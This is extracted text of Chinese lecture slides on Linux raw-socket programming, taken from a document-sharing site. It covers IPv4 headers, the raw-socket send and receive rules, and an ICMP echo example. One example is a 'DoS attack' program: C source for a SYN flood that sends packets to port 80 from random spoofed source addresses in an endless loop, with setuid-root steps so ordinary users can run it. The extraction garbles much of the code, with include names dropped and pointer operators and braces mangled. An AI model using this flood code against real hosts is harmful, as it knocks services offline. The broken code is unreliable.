《Linux/UNIX网络编程》-甘刚-电子教案 第13章 原始套接字与数据链路访问编程

上传人:E**** 文档编号:89398472 上传时间:2019-05-24 格式:PPT 页数:65 大小:468.50KB
返回 下载 相关 举报
《Linux/UNIX网络编程》-甘刚-电子教案 第13章 原始套接字与数据链路访问编程_第1页
第1页 / 共65页
《Linux/UNIX网络编程》-甘刚-电子教案 第13章 原始套接字与数据链路访问编程_第2页
第2页 / 共65页
《Linux/UNIX网络编程》-甘刚-电子教案 第13章 原始套接字与数据链路访问编程_第3页
第3页 / 共65页
《Linux/UNIX网络编程》-甘刚-电子教案 第13章 原始套接字与数据链路访问编程_第4页
第4页 / 共65页
《Linux/UNIX网络编程》-甘刚-电子教案 第13章 原始套接字与数据链路访问编程_第5页
第5页 / 共65页
点击查看更多>>
资源描述

《《Linux/UNIX网络编程》-甘刚-电子教案 第13章 原始套接字与数据链路访问编程》由会员分享,可在线阅读,更多相关《《Linux/UNIX网络编程》-甘刚-电子教案 第13章 原始套接字与数据链路访问编程(65页珍藏版)》请在金锄头文库上搜索。

1、第13章 原始套接字与数据链路访问编程,IPv4数据报格式,几点说明:首部长度是以32位(即4字节)为单位;16位的标识用于分片和重组;DF位(不分片);MF(还有片段);协议字段表示封装在IP报文中的上层协议,典型的有:ICMP(1)、IGMP(2)、TCP(6)、UDP(17);头部校验和只对IP头部(包括选项)计算,校验算法是标准的因特网校验和算法,即简单的16位反码求和。,IP数据报分片例子,IP数据报是指指I P 层端到端的传输单元(在分片之前和重新组装之后),分组是指在I P 层和链路层之间传送的数据单元。 需要重申的是,任何传输层首部只出现在第1 片数据中。,原始套接字(概述),

2、原始套接字提供了一些使用tcp和udp协议不能实现的功能,如: 使用原始套接字可以读写ICMPv4、IGMPv4分组。如Ping程序,mroute程序等; 使用原始套接字可以读些特殊的IPv4数据包,内核不处理这些数据报的IPv4协议字段。如大多数内核只处理ICMP、IGMP、TCP、UDP的数据报。但协议字段还可以为其他值,如OSPF直接使用IP协议,将IP数据报的协议字段设为89,此时,就必须有专门的程序通过原始套接字来处理它们; 利用原始套接字还可以创建自定义的IP数据报首部,编写基于IP协议的高层网络协议。,原始套接字创建,#include #include int socket(AF

3、_INET, SOCK_RAW, int protocol); protocol参数一般不能为0,如:IPPROTO_ICMP。另外,只有超级用户才能创建原始套接字。 用户可以通过设置IP_HDRINCL选项来编写自己的IP数据报首部: const int on = 1; setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, 可以调用bind函数绑定原始套接字的本地IP地址,此时,所有输出的数据报将用到源IP地址(仅当IP_HDRINCL未设置时);如果不调用bind函数,由内核将源IP地址设成外出接口的主IP地址; 可以调用connect函数设置数据报的目的地

4、址(注意并不需要真正的连接)。此后,可直接调用write或send。 注意:bind和connect时,端口已经没有意义了。,通过原始套接字发送数据报,原始套接字的输出遵循以下规则: 如果套接字已经连接,可以调用write、writev、send来发送数据,否则需要调用sendto或sendmsg; 如果IP_HDRINCL选项未设置,则内核写的数据起始地址指IP头部之后的第一个字节。因为这种情况下,内核构造IP头部,并将它安在来自进程的数据之前。内核将IPv4头部的协议字段设置成用户在调用socket函数所给的第三个参数; 如果设置了IP_HDRINCL,则内核写的数据起始地址指IP头部的第

5、一个字节。用户所提供的数据大小值必须包括头部的字节数。此时进程构造除了以下两项外的整个IP头部;(a)IPv4标识字段可以设为0,要求内核设置该值;(b)IPv4头部校验和由内核来计算和存储。IPv4数据报首部各个字段的内容均是网络字节序(对linux而言) 对于超出外出接口的MTU的分组,内核将其分片。,通过原始套接字接收数据报,内核通过原始套接字接收数据报,遵循以下规则: 接收到的tcp和udp分组决不会传递给原始套接字,如果一个进程希望读取包含tcp或udp分组的IP数据报,那么它们必须在数据链路层读入; 当内核处理完ICMP消息后,绝大部分ICMP分组将传递给原始套接字。对源自Berk

6、eley的实现,除了回射请求、时间戳请求和地址掩码请求将完全由内核处理以外,所有收到的ICMP分组将传递给某个原始套接口; 当内核处理完IGMP消息后,所有IGMP分组都将传递给某个原始套接字; 所有带有内核不能识别的协议字段的IP数据报都将传递给某个原始套接字。 如果数据报以分片形式到达,则该分组将在所有片段到达并重组后才传给原始套接字。,通过原始套接字接收数据报(续),在将一个IP数据报传递给某个套接字之前,内核需要选择匹配的原始套接字: 如果在创建原始套接字时,所指定的protocol参数不为0,则接收到的数据包的协议字段应与该值匹配,否则该数据报将不传递给该套接字; 如果此原始套接字之

7、上绑定了一个本地IP地址,那么接收到的数据报的目的IP地址应与该绑定地址相匹配,否则该数据报将不传递给该套接字; 如果此原始套接字通过调用connect指定了一个对方的IP地址,那么接收到的数据报的源IP地址应与该已连接地址相匹配,否则该数据报将不传递给该套接字。 如果一个原始套接字以protocol参数为0的方式创建,而且未调用bind或connect,那么对于内核传递给原始套接字的每一个原始数据报,该套接字都会收到一份拷贝; 当接收到的数据报传递给IPv4原始套接字时,整个数据报(包括IP头部)都将传递给进程。而对于IPv6,则将去除扩展头部。,例1、DOS攻击(拒绝服务攻击),拒绝服务攻

8、击原理:画图,源程序Dos.c: #include #include #include #include #include #include #include #include #define DESTPORT 80 /*要攻击的端口(WEB)*/ #define LOCALPORT 8888 void send_tcp(int sockfd,struct sockaddr_in *addr); unsigned short check_sum(unsigned short *addr,int len); int main(int argc,char *argv) int sockfd; st

9、ruct sockaddr_in addr; int on; on=1; if(argc!=2) fprintf(stderr,“Usage:%sIPna“,argv0); exit(1); ,bzero( /*发送炸弹了!*/ ,void send_tcp(int sockfd,struct sockaddr_in *addr) char buffer100;/*用来放置我们的数据包*/ struct ip *ip; struct tcphdr *tcp; int head_len; /*我们的数据包实际上没有任何内容,所以长度就是两个结构的长度*/ head_len=sizeof(stru

10、ct ip)+sizeof(struct tcphdr); bzero(buffer,100); /*填充IP数据包的头部,还记得IP的头格式吗*/ ip=(struct ip *)buffer; ip-ip_v=IPVERSION;/*版本一般的是4*/ ip-ip_hl=sizeof(struct ip)2;/*IP数据包的头部长度*/ ip-ip_tos=0;/*服务类型*/ ip-ip_len=htons(head_len);/*IP数据包的长度*/ ip-ip_id=0;/*让系统去填写吧*/ ip-ip_off=0;/*和上面一样,省点时间*/ ip-ip_ttl=MAXTTL;

11、/*最长的时间255*/ ip-ip_p=IPPROTO_TCP;/*我们要发的是TCP包*/ ip-ip_sum=0;/*校验和让系统去做*/ ip-ip_dst=addr-sin_addr;/*我们攻击的对象*/ printf(“dest address is %sn“,inet_ntoa(addr-sin_addr);,/*开始填写TCP数据包*/ tcp=(struct tcphdr *)(buffer+sizeof(struct ip); tcp-source=htons(LOCALPORT); tcp-dest=addr-sin_port;/*目的端口*/ tcp-seq=rand

12、om(); tcp-ack_seq=0; tcp-doff=5; tcp-syn=1;/*我要建立连接*/ tcp-check=0; /*好了,一切都准备好了.服务器,你准备好了没有*/ while(1) /*你不知道我是从那里来的,慢慢的去等吧!*/ ip-ip_src.s_addr=random(); printf(“addr is%dn“,ip-ip_src.s_addr); sendto(sockfd,buffer,head_len,0,(struct sockaddr *)addr,sizeof(struct sockaddr); ,程序运行权限,通常情况下,有效用户ID等于实际用户

13、ID,有效组ID等于实际组ID; 文件方式字中有一个特殊标志,定义为“当执行此文件时将进程的有效用户ID设置为文件的所有者”,与此类似,组ID也有类似的情况。这两位称为:设置用户ID和设置组ID。 对于本程序要求:普通用户能执行该程序,但该程序又要求要具有超级用户权限,因此:需要将该可执行程序的所有者设置为超级用户,并设置其“设置-用户-ID”标志,方法是: roothoyt /root#chown root DOS roothoyt /root#chmod u+s DOS,程序运行结果,例2:给本机发送一个ICMP报文,然后接收回复。,/ip.h #ifndef _IP_H #define

14、_IP_H #include #include #include #include #include #include #include #include #include #include ,#define PACKET_SIZE 4096 #define MAX_WAIT_TIME 5 #define DEST_ADDR “222.18.113.171“ extern int errno; char sendpacketPACKET_SIZE; char recvpacketPACKET_SIZE; int sockfd,datalen=56; struct sockaddr_in des

15、t_addr; void send_packet(); void recv_packet(); unsigned short cal_chksum(unsigned short * addr,int len); void showiphdr(struct ip *ip); void onTerm(); #endif,/Ip.c #include “ip.h“ int main(int argc,char *argv) struct hostent *host; struct protoent *protocol; unsigned long inaddr=0L; if(protocol=get

16、protobyname(“icmp“)=NULL) perror(“unknow protocol icmp“); exit(1); if(sockfd=socket(AF_INET,SOCK_RAW,protocol-p_proto)0) perror(“socket error“); exit(2); bzero( ,void send_packet() int i,packetsize; struct icmp *icmp; icmp=(struct icmp*)sendpacket; icmp-icmp_type=ICMP_ECHO; icmp-icmp_code=0; icmp-icmp_cksum=0; icmp-icmp_id=getpid(); icmp-icmp_seq=1; packetsize=8+datalen;

展开阅读全文
相关资源
相关搜索

当前位置:首页 > 高等教育 > 大学课件

电脑版 |金锄头文库版权所有
经营许可证:蜀ICP备13022795号 | 川公网安备 51140202000112号